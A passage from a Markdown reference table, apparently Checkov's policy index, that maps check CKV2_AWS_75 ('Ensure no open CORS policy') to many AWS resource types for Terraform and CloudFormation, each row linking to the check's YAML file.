[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3846 | CKV2_AWS_75 | resource | aws_iam_instance_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3847 | CKV2_AWS_75 | resource | aws_iam_openid_connect_provider | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3848 | CKV2_AWS_75 | resource | aws_iam_openid_connect_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3849 | CKV2_AWS_75 | resource | aws_iam_organizations_features | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3850 | CKV2_AWS_75 | resource | aws_iam_organizations_features | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3851 | CKV2_AWS_75 | resource | aws_iam_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3852 | CKV2_AWS_75 | resource | aws_iam_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3853 | CKV2_AWS_75 | resource | aws_iam_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3854 | CKV2_AWS_75 | resource | aws_iam_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3855 | CKV2_AWS_75 | resource | aws_iam_policy_document | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3856 | CKV2_AWS_75 | resource | aws_iam_policy_document | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3857 | CKV2_AWS_75 | resource | aws_iam_role | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3858 | CKV2_AWS_75 | resource | aws_iam_role | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3859 | CKV2_AWS_75 | resource | aws_iam_role_policies_exclusive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3860 | CKV2_AWS_75 | resource | aws_iam_role_policies_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3861 | CKV2_AWS_75 | resource | aws_iam_role_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3862 | CKV2_AWS_75 | resource | aws_iam_role_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3863 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3864 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3865 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachments_exclusive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3866 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachments_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3867 | CKV2_AWS_75 | resource | aws_iam_saml_provider | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3868 | CKV2_AWS_75 | resource | aws_iam_saml_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3869 | CKV2_AWS_75 | resource | aws_iam_security_token_service_preferences | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3870 | CKV2_AWS_75 | resource | aws_iam_security_token_service_preferences | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3871 | CKV2_AWS_75 | resource | aws_iam_server_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3872 | CKV2_AWS_75 | resource | aws_iam_server_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3873 | CKV2_AWS_75 | resource | aws_iam_service_linked_role | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3874 | CKV2_AWS_75 | resource | aws_iam_service_linked_role | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3875 | CKV2_AWS_75 | resource | aws_iam_service_specific_credential | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3876 | CKV2_AWS_75 | resource | aws_iam_service_specific_credential | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3877 | CKV2_AWS_75 | resource | aws_iam_signing_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3878 | CKV2_AWS_75 | resource | aws_iam_signing_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3879 | CKV2_AWS_75 | resource | aws_iam_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3880 | CKV2_AWS_75 | resource | aws_iam_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3881 | CKV2_AWS_75 | resource | aws_iam_user_group_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3882 | CKV2_AWS_75 | resource | aws_iam_user_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3883 | CKV2_AWS_75 | resource | aws_iam_user_login_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3884 | CKV2_AWS_75 | resource | aws_iam_user_login_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3885 | CKV2_AWS_75 | resource | aws_iam_user_policies_exclusive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3886 | CKV2_AWS_75 | resource | aws_iam_user_policies_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3887 | CKV2_AWS_75 | resource | aws_iam_user_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3888 | CKV2_AWS_75 | resource | aws_iam_user_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3889 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3890 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3891 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachments_exclusive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3892 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachments_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3893 | CKV2_AWS_75 | resource | aws_iam_user_ssh_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3894 | CKV2_AWS_75 | resource | aws_iam_user_ssh_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3895 | CKV2_AWS_75 | resource | aws_iam_virtual_mfa_device | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3896 | CKV2_AWS_75 | resource | aws_iam_virtual_mfa_device | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3897 | CKV2_AWS_75 | resource | aws_identitystore_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3898 | CKV2_AWS_75 | resource | aws_identitystore_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3899 | CKV2_AWS_75 | resource | aws_identitystore_group_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3900 | CKV2_AWS_75 | resource | aws_identitystore_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3901 | CKV2_AWS_75 | resource | aws_identitystore_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3902 | CKV2_AWS_75 | resource | aws_identitystore_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3903 | CKV2_AWS_75 | resource | aws_imagebuilder_component | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3904 | CKV2_AWS_75 | resource | aws_imagebuilder_component | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3905 | CKV2_AWS_75 | resource | aws_imagebuilder_container_recipe | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3906 | CKV2_AWS_75 | resource | aws_imagebuilder_container_recipe | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3907 | CKV2_AWS_75 | resource | aws_imagebuilder_distribution_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3908 | CKV2_AWS_75 | resource | aws_imagebuilder_distribution_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3909 | CKV2_AWS_75 | resource | aws_imagebuilder_image | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3910 | CKV2_AWS_75 | resource | aws_imagebuilder_image | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3911 | CKV2_AWS_75 | resource | aws_imagebuilder_image_pipeline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3912 | CKV2_AWS_75 | resource | aws_imagebuilder_image_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3913 | CKV2_AWS_75 | resource | aws_imagebuilder_image_recipe | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3914 | CKV2_AWS_75 | resource | aws_imagebuilder_image_recipe | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3915 | CKV2_AWS_75 | resource | aws_imagebuilder_infrastructure_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3916 | CKV2_AWS_75 | resource | aws_imagebuilder_infrastructure_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3917 | CKV2_AWS_75 | resource | aws_imagebuilder_lifecycle_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3918 | CKV2_AWS_75 | resource | aws_imagebuilder_lifecycle_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3919 | CKV2_AWS_75 | resource | aws_imagebuilder_workflow | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3920 | CKV2_AWS_75 | resource | aws_imagebuilder_workflow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3921 | CKV2_AWS_75 | resource | aws_inspector2_delegated_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3922 | CKV2_AWS_75 | resource | aws_inspector2_delegated_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3923 | CKV2_AWS_75 | resource | aws_inspector2_enabler | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3924 | CKV2_AWS_75 | resource | aws_inspector2_enabler | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3925 | CKV2_AWS_75 | resource | aws_inspector2_member_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3926 | CKV2_AWS_75 | resource | aws_inspector2_member_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3927 | CKV2_AWS_75 | resource | aws_inspector2_organization_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3928 | CKV2_AWS_75 | resource | aws_inspector2_organization_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3929 | CKV2_AWS_75 | resource | aws_inspector_assessment_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3930 | CKV2_AWS_75 | resource | aws_inspector_assessment_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3931 | CKV2_AWS_75 | resource | aws_inspector_assessment_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3932 | CKV2_AWS_75 | resource | aws_inspector_assessment_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3933 | CKV2_AWS_75 | resource | aws_inspector_resource_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3934 | CKV2_AWS_75 | resource | aws_inspector_resource_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3935 | CKV2_AWS_75 | resource | aws_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3936 | CKV2_AWS_75 | resource | aws_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3937 | CKV2_AWS_75 | resource | aws_internet_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3938 | CKV2_AWS_75 | resource | aws_internet_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3939 | CKV2_AWS_75 | resource | aws_internet_gateway_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3940 | CKV2_AWS_75 | resource | aws_internet_gateway_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3941 | CKV2_AWS_75 | resource | aws_internetmonitor_monitor | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3942 | CKV2_AWS_75 | resource | aws_internetmonitor_monitor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3943 | CKV2_AWS_75 | resource | aws_iot_authorizer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3944 | CKV2_AWS_75 | resource | aws_iot_authorizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3945 | CKV2_AWS_75 | resource | aws_iot_billing_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3946 | CKV2_AWS_75 | resource | aws_iot_billing_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3947 | CKV2_AWS_75 | resource | aws_iot_ca_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3948 | CKV2_AWS_75 | resource | aws_iot_ca_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3949 | CKV2_AWS_75 | resource | aws_iot_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3950 | CKV2_AWS_75 | resource | aws_iot_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3951 | CKV2_AWS_75 | resource | aws_iot_domain_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3952 | CKV2_AWS_75 | resource | aws_iot_domain_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3953 | CKV2_AWS_75 | resource | aws_iot_event_configurations | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3954 | CKV2_AWS_75 | resource | aws_iot_event_configurations | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3955 | CKV2_AWS_75 | resource | aws_iot_indexing_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3956 | CKV2_AWS_75 | resource | aws_iot_indexing_configuration | Ensure no open CORS policy | Cloudformation | 